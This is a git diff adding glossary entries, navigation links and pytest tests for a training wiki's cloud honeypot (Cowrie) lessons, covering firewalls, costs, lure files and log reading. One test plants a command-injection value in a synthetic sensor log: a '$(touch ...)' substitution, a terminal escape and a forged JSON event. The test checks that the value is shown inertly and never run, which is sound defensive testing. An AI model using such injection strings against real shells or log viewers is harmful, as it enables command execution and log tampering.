 | **Cost gate** | `scripts/cost_check.py`, which fails CI if planned spend exceeds the approved total or an unpriced paid resource appears. [How money works in the cloud](How-Money-Works-in-the-Cloud.md) |
 | **`count` / `for_each`** | Two ways to make several copies of one OpenTofu resource block. `count` numbers the copies by position, so removing an item in the middle shifts the rest; `for_each` names them by key, so only the removed key goes. [OpenTofu from zero: count and for_each](OpenTofu-From-Zero.md#many-copies-count-and-for_each) |
+| **Cowrie** | An open-source honeypot that imitates an SSH server (and, if switched on, a telnet server): it accepts logins, answers like a Linux command line from a fake file system, and writes everything the visitor does to a JSON log. Medium interaction in its default mode. [Anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md#what-a-cloud-sensor-is) |
 | **Credit specification** | An AWS setting on burstable (T-family) instances: `standard` stops at the credit balance, `unlimited` bills surplus credits outside the fixed price. The cost gate requires `standard`. [Terraform reference: AWS modules](Terraform-Reference.md) |
 | **cron** | The Linux and macOS scheduler that runs a command at set times. A trigger for a script. [The terminal and your first script: automation](Terminal-and-Your-First-Script.md#automation-is-a-script-plus-a-trigger) |
 | **CSV** | Comma-separated values: a table, one row per line, columns split by commas, a value with a comma wrapped in double quotes. Every value is text. [Data formats: TOML, INI, CSV and XML](Data-Formats-JSON-YAML-HCL.md#toml-ini-csv-and-xml-a-paragraph-each) |
@@ -147,6 +148,7 @@ Every term the wiki uses, in plain language, with a pointer to the page that exp
 | **Honeyfile** | A decoy file with an attractive name, placed where nobody legitimate has a reason to open it and watched for access. [Honeyfiles on a host you own](Deception-and-Honeypots-Honeyfiles-on-Your-Host.md#the-idea) |
 | **Honeynet** | Several honeypots on a network of their own, built to look like a small environment. [What deception is](Deception-and-Honeypots-What-Deception-Is.md#the-vocabulary) |
 | **Honeypot** | A standalone decoy system that accepts connections and logs what happens; it is built to be probed, so it must never share a network with things you care about. [Deception safety and law](Deception-and-Honeypots-Safety-and-Law.md#the-eight-minimums) |
+| **Honeypot fingerprinting** | A visitor's tests to decide whether a machine is a real system or an imitation: a default user name, banners that disagree, commands an imitation cannot answer. [Read what arrived](Deception-and-Honeypots-Read-the-Sensor-Logs.md#flip-the-board-how-a-visitor-spots-cowrie-and-how-you-harden-it) |
 | **Honeytoken** | One fake piece of data (a false record, a fake key, a fake account) that has no use except to be noticed when used. It needs no new server. [What deception is](Deception-and-Honeypots-What-Deception-Is.md#the-vocabulary) |
 | **.htaccess** | A small per-folder configuration file that Apache can read on requests, if `AllowOverride` allows it. Nginx has no equivalent, so a rule kept there does nothing on Nginx. [LAMP and LEMP from zero](LAMP-and-LEMP-From-Zero.md#the-a-and-the-e-two-ways-to-serve-many-visitors) |
 | **Host-only network** | A virtual network that joins a virtual machine to the host and to other lab machines but has no route to the outside world. The usual home for a security lab. [Red and blue as yin and yang: a safe network for the lab](Red-and-Blue-Yin-and-Yang-and-Your-Lab-OS.md#a-safe-network-for-the-lab) |
@@ -174,6 +176,7 @@ Every term the wiki uses, in plain language, with a pointer to the page that exp
 | **Issue** (GitHub) | A public note on a repository: a bug report, a question or a request. How to open one, and what never to put in it: [Give feedback and open an issue](Give-Feedback-and-Open-an-Issue.md) |
 | **Joiner, mover, leaver** | The three events in a person's time at an organization, each of which should change their accounts and access. Forgetting the old access on a move, or any account on a leave, is the common failure. [Enterprise identity](Enterprise-Identity-SSO-SAML-OIDC.md#the-identity-lifecycle-joiner-mover-leaver) |
 | **journald** | The systemd journal: a service that collects kernel, service and syslog messages into structured, indexed records you read with `journalctl`. [Logs, SIEM and detection basics: where logs live](Logs-SIEM-and-Detection-Basics.md#where-logs-live) |
+| **jq** | A command-line tool that reads JSON and picks out, counts or reshapes parts of it. Read a log line by line with it so one broken line does not stop the run. [Read what arrived](Deception-and-Honeypots-Read-the-Sensor-Logs.md#exercise-2-count-events-by-type) |
 | **JSON** (basics) | JavaScript Object Notation: plain-text data made of objects (`{}`), arrays (`[]`), strings, numbers, true, false and null. How most APIs write data. [APIs and tokens: JSON](APIs-and-Tokens-From-Zero.md#json-in-five-minutes) |
 | **Jump host** | A machine you log in to first and then hop from to reach others. A connector in front of an agentless device removes the need for one. [Zero trust at home: the agentless-device case](Zero-Trust-at-Home-Two-Connectors-and-Failover.md#the-agentless-device-case) |
 | **JWT** (basics) | JSON Web Token: a signed token of three dot-separated parts (header, claims, signature). The first two are base64 text anyone can read, so never paste a real one anywhere. [APIs and tokens: inside a JWT](APIs-and-Tokens-From-Zero.md#what-is-inside-a-jwt-and-why-base64-is-not-encryption) |

+ 2 - 1
docs/wiki/Reading-Order.md

@@ -185,7 +185,8 @@ Not a path. Open these when you need them; every one is linked from the sidebar.
 | [DNS, Cloudflare and hosting your own website](DNS-Cloudflare-and-Hosting-Your-Own-Website.md) | You want to understand DNS beyond one lookup (who owns a name, delegation, every record type, TTL, email records, DNSSEC), or you want to put a website on your own domain behind Cloudflare with the server locked to it. A foundations side page to [How a web request works](How-a-Web-Request-Works.md) and [DigitalOcean network and firewalls](DigitalOcean-Network-and-Firewalls.md); the third lesson of a four-lesson web-hosting track. About three hours with the free local DNS lab (est.); the optional own-account path adds an afternoon (est.), and its cost is the learner's own bill; not counted in the path totals, and no step is renumbered. |
 | [Hashing, encryption and keys](Hashing-Encryption-and-Keys.md) | "Hashed", "encrypted", "signed" and "key" sound like the same thing, or you want to know what a salt, a key pair, an SSH key or a certificate is. A foundations side page to [Identity, secrets and zero trust basics](Identity-Secrets-and-Zero-Trust-Basics.md); read it alongside that page. About 75 minutes with the free exercises (est.); not counted in the path totals. |
 | [The terminal and your first script](Terminal-and-Your-First-Script.md) | You have never used a terminal beyond copying commands, or exit codes, pipes, `PATH` and shell scripts are new. A foundations side page, read after [Git from zero](Git-From-Zero.md) and before [Linux for enterprise beginners](Linux-for-Enterprise-Beginners.md); no step is renumbered. About two and a half hours with the exercises (est.), all free and local; not counted in the path totals. |
-| [Deception and honeypots: start here](Deception-and-Honeypots-Start-Here.md) | You want to know what a decoy, a honeytoken or a honeypot is, why a decoy alert is different, and how to try it safely with nothing exposed. A foundations side page to [Detection, Wazuh and the landscape](Detection-and-Monitoring-Wazuh-and-the-Landscape.md); the hub for five short lessons (what deception is, safety and law, a canary token, honeyfiles, and rules in the SIEM). About 8 to 10 hours with the local exercises (est.), all free and on your own computer; not counted in the path totals, and no step is renumbered. The on-premises path for your own hardware is two more pages, [Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md) and [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md), also free to read, with a hands-on part that uses your own machine. The cloud sensor lessons are separate and later. |
+| [Deception and honeypots: start here](Deception-and-Honeypots-Start-Here.md) | You want to know what a decoy, a honeytoken or a honeypot is, why a decoy alert is different, and how to try it safely with nothing exposed. A foundations side page to [Detection, Wazuh and the landscape](Detection-and-Monitoring-Wazuh-and-the-Landscape.md); the hub for five short lessons (what deception is, safety and law, a canary token, honeyfiles, and rules in the SIEM). About 8 to 10 hours with the local exercises (est.), all free and on your own computer; not counted in the path totals, and no step is renumbered. The on-premises path for your own hardware is two more pages, [Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md) and [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md), also free to read, with a hands-on part that uses your own machine. The cloud sensor lessons (track 2, three more pages, listed in the hub) use your own cloud account and are optional. |
+| [Anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md) | You want to know what running a honeypot on a cloud server of your own involves before you decide: the guardrails, the provider's acceptable-use policy, what it costs and what is not a spending cap. A foundations side page to [Deception safety and law](Deception-and-Honeypots-Safety-and-Law.md); the free theory lesson of track 2, followed by [Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md) (your own account and bill) and [Read what arrived](Deception-and-Honeypots-Read-the-Sensor-Logs.md) (invented logs, no account needed). About 1.5 hours for the reading (est.); not counted in the path totals, and no step is renumbered. |
 | [Windows, Active Directory and macOS in the enterprise](Windows-Active-Directory-and-macOS-in-the-Enterprise.md) | Your first job (or the one you want) manages Windows laptops and a domain, or "domain", "Active Directory", "Group Policy", "Kerberos", "Entra ID" or "MDM" are only words to you. A foundations side page, read after [The terminal and your first script](Terminal-and-Your-First-Script.md) and [Enterprise identity: SSO, SAML and OIDC](Enterprise-Identity-SSO-SAML-OIDC.md), beside [Linux for enterprise beginners](Linux-for-Enterprise-Beginners.md); no step is renumbered. About four hours with the read-only exercises (est.), all free and local; the optional evaluation virtual machine adds about three hours (est.) on your own computer; not counted in the path totals. |
 | [LAMP and LEMP from zero](LAMP-and-LEMP-From-Zero.md) | "Web server", "PHP-FPM", "LAMP", "LEMP", "MariaDB" or "WordPress stack" are only words to you, or you want to build Apache and Nginx stacks side by side and see the differences. A foundations side page to [Containers and Docker basics](Containers-and-Docker-Basics.md), read after [Linux for enterprise beginners](Linux-for-Enterprise-Beginners.md); lesson W1 of the web-hosting track; no step is renumbered. About four hours with the free lab (est.); the optional droplet path adds about an hour (est.) on your own account; not counted in the path totals. |
 | [Deception and honeypots: start here](Deception-and-Honeypots-Start-Here.md) | You want to know what a decoy, a honeytoken or a honeypot is, why a decoy alert is different, and how to try it safely with nothing exposed. A foundations side page to [Detection, Wazuh and the landscape](Detection-and-Monitoring-Wazuh-and-the-Landscape.md); the hub for five short lessons (what deception is, safety and law, a canary token, honeyfiles, and rules in the SIEM). About 8 to 10 hours with the local exercises (est.), all free and on your own computer; not counted in the path totals, and no step is renumbered. Cloud and on-premises honeypot lessons are separate and later. |

+ 3 - 0
docs/wiki/_Sidebar.md

@@ -102,6 +102,9 @@ The [Threat model](Threat-Model.md) is core step 19.
         - [Deception alerts in the SIEM](Deception-and-Honeypots-Alerts-in-the-SIEM.md)
         - [Design a honeynet](Deception-and-Honeypots-Design-a-Honeynet.md)
         - [T-Pot at home](Deception-and-Honeypots-T-Pot-at-Home.md)
+        - [Anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md)
+        - [Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md)
+        - [Read what arrived: Cowrie logs](Deception-and-Honeypots-Read-the-Sensor-Logs.md)
 - [Cloud telemetry: what and why (unverified draft)](Cloud-Telemetry-What-and-Why.md)
 - [Multiple sites and identity (unverified draft)](Multiple-Sites-and-Identity.md)
 - [Telemetry crosses the trust boundary (unverified draft)](Telemetry-Crosses-the-Trust-Boundary.md)

+ 279 - 1
tests/test_deception_lessons.py

@@ -10,10 +10,12 @@ fenced block) and assert strictly (exactly one block per marker, and the output
 matches), and each has a negative case showing the guard bites.
 """
 
+import configparser
 import ipaddress
 import json
 import os
 import re
+import shutil
 import socket
 import subprocess
 import sys
@@ -27,6 +29,12 @@ WIKI = Path(__file__).resolve().parent.parent / "docs" / "wiki"
 SIEM = WIKI / "Deception-and-Honeypots-Alerts-in-the-SIEM.md"
 CANARY = WIKI / "Deception-and-Honeypots-Plant-a-Canary.md"
 HONEY = WIKI / "Deception-and-Honeypots-Honeyfiles-on-Your-Host.md"
+ANATOMY = WIKI / "Deception-and-Honeypots-Cloud-Sensor-Anatomy.md"
+WEEKEND = WIKI / "Deception-and-Honeypots-Cloud-Cowrie-Weekend.md"
+LOGS = WIKI / "Deception-and-Honeypots-Read-the-Sensor-Logs.md"
+TRACK2 = (ANATOMY, WEEKEND, LOGS)
+COST_PRICES = WIKI.parent / "cost-prices.json"
+COST_MD = WIKI.parent / "cost.md"
 DESIGN = WIKI / "Deception-and-Honeypots-Design-a-Honeynet.md"
 TPOT = WIKI / "Deception-and-Honeypots-T-Pot-at-Home.md"
 FENCE = re.compile(r"^```(\w*)\n(.*?)^```$", re.MULTILINE | re.DOTALL)
@@ -366,9 +374,279 @@ def test_the_powershell_watcher_escapes_names(marker):
     assert marker in one_block(HONEY, "powershell", "FileSystemWatcher")
 
 
-# --- track 3, lesson 10: the rule checker on the honeynet design page -----------------
+# --- track 2: the cloud sensor lessons (lessons 7 to 9) ------------------------------
+#
+# Nothing here touches a cloud, a real honeypot or the network. The lure script, the
+# invented sensor log, the jq reads, the lesson 5 detector on that log, the host firewall
+# file (syntax only, in a throwaway namespace) and the configuration snippet are pulled
+# out of the page text and run, and the pages' prose is held to the repository's rules.
 
 DOC_NETS = [ipaddress.ip_network(n) for n in ("192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24")]
+ALLOWED_LITERALS = {"0.0.0.0", "127.0.0.1"}
+IPV4 = re.compile(r"\b\d{1,3}(?:\.\d{1,3}){3}\b")
+MONEY = re.compile(r"\$\d+(?:\.\d+)?")
+
+
+def ip_problems(text: str) -> list[str]:
+    """Every IPv4 literal that is neither a documentation address nor a loopback or wildcard one."""
+    bad = []
+    for m in IPV4.findall(text):
+        if m in ALLOWED_LITERALS:
+            continue
+        try:
+            addr = ipaddress.ip_address(m)
+        except ValueError:
+            bad.append(m)
+            continue
+        if not any(addr in net for net in DOC_NETS):
+            bad.append(m)
+    return bad
+
+
+def test_track2_pages_use_documentation_addresses_only_and_the_guard_bites():
+    for page in TRACK2:
+        assert ip_problems(page.read_text(encoding="utf-8")) == [], page.name
+    assert ip_problems("connect to 8.8.8.8 and 203.0.113.7 and 10.0.0.1") == ["8.8.8.8", "10.0.0.1"]
+
+
+def test_track2_cost_figures_come_from_the_repository_price_files():
+    prices = json.loads(COST_PRICES.read_text(encoding="utf-8"))
+    droplet = prices["droplets"]["s-1vcpu-1gb"]
+    assert droplet == 6, "the pages say $6; update them if the price file changes"
+    assert "$5" in COST_MD.read_text(encoding="utf-8")  # the log bucket the pages mention only as the design's option
+    # $0.43 is the pages' own estimate (6 x 48 / 672), $11 is the design's option A, $0.01 and $0.00 are quoted provider rules
+    allowed = {f"${droplet}", "$5", "$11", "$0.43", "$0.01", "$0.00"}
+    assert round(droplet * 48 / 672, 2) == 0.43
+    for page in TRACK2:
+        figures = set(MONEY.findall(page.read_text(encoding="utf-8")))
+        assert figures <= allowed, f"{page.name}: figures not in the price files: {sorted(figures - allowed)}"
+
+
+def test_track2_pages_keep_the_wording_rules():
+    for page in TRACK2:
+        text = page.read_text(encoding="utf-8")
+        assert not re.search(r"\b(?:un)?paid\b", text, re.IGNORECASE), f"{page.name}: say 'your own bill', not 'paid'"
+        assert "Unfamiliar word or acronym?" in text
+        assert "## Claims register" in text and "Not verified, plainly" in text
+    # the status banners say what was not run
+    assert "never run" in WEEKEND.read_text(encoding="utf-8")
+    assert "nothing built, nothing run" in ANATOMY.read_text(encoding="utf-8")
+    assert "no real sensor log was read" in LOGS.read_text(encoding="utf-8")
+
+
+def test_the_hands_on_exercises_have_predict_do_check_and_undo():
+    for page in (WEEKEND, LOGS):
+        text = page.read_text(encoding="utf-8")
+        for word in ("Predict", "Do", "Check", "Undo"):
+            assert text.count(f"**{word}.**") >= 5, f"{page.name}: too few {word} steps"
+    for marker in ("ConvertFrom-Json", "ConvertTo-Json -Compress", "Group-Object"):
+        assert marker in LOGS.read_text(encoding="utf-8")
+
+
+def test_a_teardown_is_written_before_anything_is_built():
+    text = WEEKEND.read_text(encoding="utf-8")
+    assert text.index("## Teardown first") < text.index("## Exercise 2: create the firewalls and the server")
+    assert "doctl compute droplet delete cowrie-lab --force" in text
+    assert "not a spending cap" in text and "powered-off droplet is still billed" in text
+
+
+# the lure and the invented sensor log
+
+
+@pytest.fixture()
+def sensor_lab(tmp_path):
+    (tmp_path / "make_lure.py").write_text(one_block(WEEKEND, "python", "Builds the lure file"))
+    (tmp_path / "make_session.py").write_text(one_block(LOGS, "python", "Builds SYNTHETIC sensor events"))
+    (tmp_path / "detect.py").write_text(one_block(SIEM, "python", "A toy detector"))
+    assert run_py(tmp_path, "make_lure.py").returncode == 0
+    made = run_py(tmp_path, "make_session.py")
+    assert made.returncode == 0, made.stderr
+    (tmp_path / "cowrie.json").write_text(made.stdout)
+    return tmp_path
+
+
+def test_the_lure_is_invented_at_run_time_and_differs_each_time(tmp_path):
+    script = one_block(WEEKEND, "python", "Builds the lure file")
+    seen = set()
+    for n in range(2):
+        folder = tmp_path / str(n)
+        folder.mkdir()
+        (folder / "make_lure.py").write_text(script)
+        assert run_py(folder, "make_lure.py").returncode == 0
+        lines = (folder / "lure" / "deploy-notes-OLD.txt").read_text().splitlines()
+        assert lines[0] == "old backup login, do not use"
+        assert lines[1].startswith("user: svc-backup-") and lines[2].startswith("password: ")
+        seen.add(lines[2])
+    assert len(seen) == 2
+    # no secret-shaped literal sits in the page: the password never appears there
+    for pw in seen:
+        assert pw.removeprefix("password: ") not in WEEKEND.read_text(encoding="utf-8")
+
+
+def test_the_sensor_log_has_28_lines_documentation_addresses_and_one_broken_line(sensor_lab):
+    lines = (sensor_lab / "cowrie.json").read_text().splitlines()
+    assert len(lines) == 28
+    parsed = []
+    for line in lines:
+        try:
+            parsed.append(json.loads(line))
+        except ValueError:
+            pass
+    assert len(parsed) == 27
+    for ev in parsed:
+        assert any(ipaddress.ip_address(ev["src_ip"]) in net for net in DOC_NETS), ev["src_ip"]
+        assert {"eventid", "session", "src_ip", "timestamp"} <= set(ev)  # the shared attributes the Cowrie docs list
+
+
+def bash(folder: Path, script: str) -> subprocess.CompletedProcess:
+    return subprocess.run(
+        ["bash", "-c", script], cwd=folder, capture_output=True, text=True, timeout=60, check=False,
+        env={"PATH": os.environ["PATH"], "HOME": str(folder)},
+    )
+
+
+needs_jq = pytest.mark.skipif(shutil.which("jq") is None, reason="jq is not installed")
+
+
+@needs_jq
+def test_the_plain_jq_read_stops_at_the_broken_line_and_the_line_by_line_read_does_not(sensor_lab):
+    naive = bash(sensor_lab, "jq . cowrie.json > /dev/null")
+    assert naive.returncode != 0 and "parse error" in naive.stderr
+    safe = bash(sensor_lab, "jq -rR 'fromjson? | objects | .eventid' cowrie.json | wc -l")
+    assert safe.stdout.strip() == "27"
+
+
+@needs_jq
+def test_the_jq_reads_print_what_the_page_says(sensor_lab):
+    by_type = bash(sensor_lab, one_block(LOGS, "bash", "# events by type"))
+    assert by_type.returncode == 0, by_type.stderr
+    counts = {line.split()[1]: int(line.split()[0]) for line in by_type.stdout.splitlines()}
+    assert counts == {
+        "cowrie.command.input": 8, "cowrie.login.failed": 7, "cowrie.session.connect": 4,
+        "cowrie.session.closed": 4, "cowrie.login.success": 2,
+        "cowrie.session.file_download.failed": 1, "cowrie.client.version": 1,
+    }
+    page_counts = {}
+    for line in one_block(LOGS, "text", "cowrie.command.input").splitlines():
+        n, name = line.split()
+        page_counts[name] = int(n)
+    assert page_counts == counts
+
+    guesses = bash(sensor_lab, one_block(LOGS, "bash", "# failed logins per source"))
+    assert guesses.returncode == 0, guesses.stderr
+    per_source = {l.split()[1]: int(l.split()[0]) for l in guesses.stdout.splitlines() if re.fullmatch(r"\s*\d+ \d+\.\d+\.\d+\.\d+", l)}
+    assert per_source == {"203.0.113.7": 5, "198.51.100.23": 1, "192.0.2.66": 1}
+
+
+@needs_jq
+def test_hostile_text_is_printed_inert_and_nothing_runs(sensor_lab):
+    trap = sensor_lab / "pwned"   # a unique path under the test folder, so a stray file elsewhere cannot hide a run
+    log = sensor_lab / "cowrie.json"
+    log.write_text(log.read_text().replace("/tmp/pwned", str(trap)))
+    shown = bash(sensor_lab, one_block(LOGS, "bash", "# commands per session, made safe to print"))
+    assert shown.returncode == 0, shown.stderr
+    out = shown.stdout.splitlines()
+    assert len(out) == 8 + 1                      # eight commands, then the one raw line made visible by cat -v
+    assert out[7] == f'd4d4d4d4 "x\\"; $(touch {trap}) \\u001b[2J {{\\"eventid\\": \\"cowrie.login.success\\"}}"'
+    assert "\x1b" not in shown.stdout            # no raw escape reached the output
+    assert out[8] == f'x"; $(touch {trap}) ^[[2J {{"eventid": "cowrie.login.success"}}'
+    assert not trap.exists()                     # the substitution in the field was never run
+
+
+@needs_jq
+def test_the_lure_touches_are_found_and_only_those(sensor_lab):
+    hits = bash(sensor_lab, one_block(LOGS, "bash", "# lure file read"))
+    assert hits.returncode == 0, hits.stderr
+    rows = [json.loads(x) for x in hits.stdout.splitlines()]
+    assert [(r.get("src_ip"), r.get("session")) for r in rows if "input" in r] == [("203.0.113.7", "a1a1a1a1")]
+    cred = [r for r in rows if "eventid" in r]
+    assert [(r["eventid"], r["src_ip"]) for r in cred] == [("cowrie.login.failed", "192.0.2.66")]
+    # negative case: with no lure user in the log, the credential filter is silent
+    (sensor_lab / "lure" / "deploy-notes-OLD.txt").write_text("user: svc-backup-nobody\npassword: x\n")
+    quiet = bash(sensor_lab, one_block(LOGS, "bash", "# lure file read"))
+    assert [json.loads(x) for x in quiet.stdout.splitlines() if '"eventid"' in x] == []
+
+
+def test_the_lesson_5_detector_alerts_on_the_sensor_log_as_the_page_shows(sensor_lab):
+    proc = run_py(sensor_lab, "detect.py", "cowrie.json")
+    assert proc.returncode == 0, proc.stderr
+    got = alerts(proc)
+    assert [(a["rule"], a["src_ip"]) for a in got] == [
+        ("brute_force", "203.0.113.7"), ("success_after_brute_force", "203.0.113.7"),
+    ]
+    shown = one_block(LOGS, "text", '"rule": "brute_force"')
+    assert [json.loads(x) for x in shown.splitlines() if x.startswith("{")] == got
+    assert 'dropped: {"not_json": 1, "too_long": 0, "bad_shape": 0}' in shown
+    assert 'dropped: {"not_json": 1, "too_long": 0, "bad_shape": 0}' in proc.stderr
+
+
+# the host firewall file and the Cowrie configuration snippet
+
+
+def firewall_text(addr: str = "203.0.113.10", port: str = "49152") -> str:
+    return one_block(WEEKEND, "nft", "Host firewall for the sensor").replace("LEARNER_ADDR", addr).replace("MGMT_PORT", port)
+
+
+def chain(text: str, name: str) -> str:
+    return re.search(rf"chain {name} \{{(.*?)^    \}}", text, re.MULTILINE | re.DOTALL).group(1)
+
+
+def test_the_host_firewall_drops_outgoing_traffic_and_allows_management_from_one_address_only():
+    text = firewall_text()
+    out = chain(text, "output")
+    assert "policy drop" in out
+    accepts = [l.strip() for l in out.splitlines() if "accept" in l]
+    assert accepts == ['oif "lo" accept', "ct state established,related accept"]   # nothing else leaves
+    inp = chain(text, "input")
+    assert "policy drop" in inp
+    assert "ip saddr 203.0.113.10 tcp dport 49152 accept" in inp                    # one address, one port
+    assert "tcp dport { 2222, 2223 } accept" in inp
+    assert "redirect to :2222" in text and "redirect to :2223" in text
+    assert "policy drop" in chain(text, "forward")
+
+
+@pytest.mark.skipif(shutil.which("nft") is None or shutil.which("unshare") is None, reason="nft or unshare missing")
+def test_the_host_firewall_file_is_valid_nft_syntax(tmp_path):
+    (tmp_path / "run.nft").write_text(firewall_text())
+    try:
+        proc = subprocess.run(["unshare", "-rn", "nft", "-c", "-f", "run.nft"], cwd=tmp_path,
+                              capture_output=True, text=True, timeout=30, check=False)
+    except OSError as exc:
+        pytest.skip(f"cannot start a namespace: {exc}")
+    if proc.returncode != 0 and ("Operation not permitted" in proc.stderr or "unshare" in proc.stderr):
+        pytest.skip("user namespaces are not available here")
+    assert proc.returncode == 0, proc.stderr
+    # the check bites: a broken rule fails
+    (tmp_path / "bad.nft").write_text(firewall_text().replace("policy drop", "polcy drop", 1))
+    bad = subprocess.run(["unshare", "-rn", "nft", "-c", "-f", "bad.nft"], cwd=tmp_path,
+                         capture_output=True, text=True, timeout=30, check=False)
+    assert bad.returncode != 0
+
+
+def test_the_cowrie_configuration_snippet_closes_what_the_lesson_says_it_closes():
+    cfg = configparser.ConfigParser()
+    cfg.read_string(one_block(WEEKEND, "ini", "forwarding = false"))
+    assert cfg["ssh"]["forwarding"] == "false"          # the default is true (direct-tcpip forwarding)
+    assert cfg["telnet"]["enabled"] == "true"           # the default is false; the lesson turns it on
+    assert int(cfg["honeypot"]["download_limit_size"]) == 1048576
+    assert "honeypot" not in cfg["honeypot"]["hostname"].lower()
+
+
+def test_the_page_commands_use_the_documented_cowrie_and_doctl_forms():
+    weekend = WEEKEND.read_text(encoding="utf-8")
+    for needle in (
+        'python -m pip install "cowrie==3.1.3"', "cowrie init", "cowrie start",
+        "fsctl var/lib/cowrie/fs.pickle", "-o PubkeyAuthentication=no",
+        "doctl compute firewall create --name cowrie-lab-core", "--tag-names cowrie-lab-core,cowrie-lab-build",
+        "doctl compute firewall add-rules", "Port 49152", "PermitRootLogin no", "PasswordAuthentication no",
+    ):
+        assert needle in weekend, needle
+    # the version pin is the one the pages say they read, and no unpinned install is shown
+    assert "pip install cowrie\n" not in weekend and 'pip install cowrie"' not in weekend
+
+
+# --- track 3, lesson 10: the rule checker on the honeynet design page -----------------
+
 
 
 @pytest.fixture()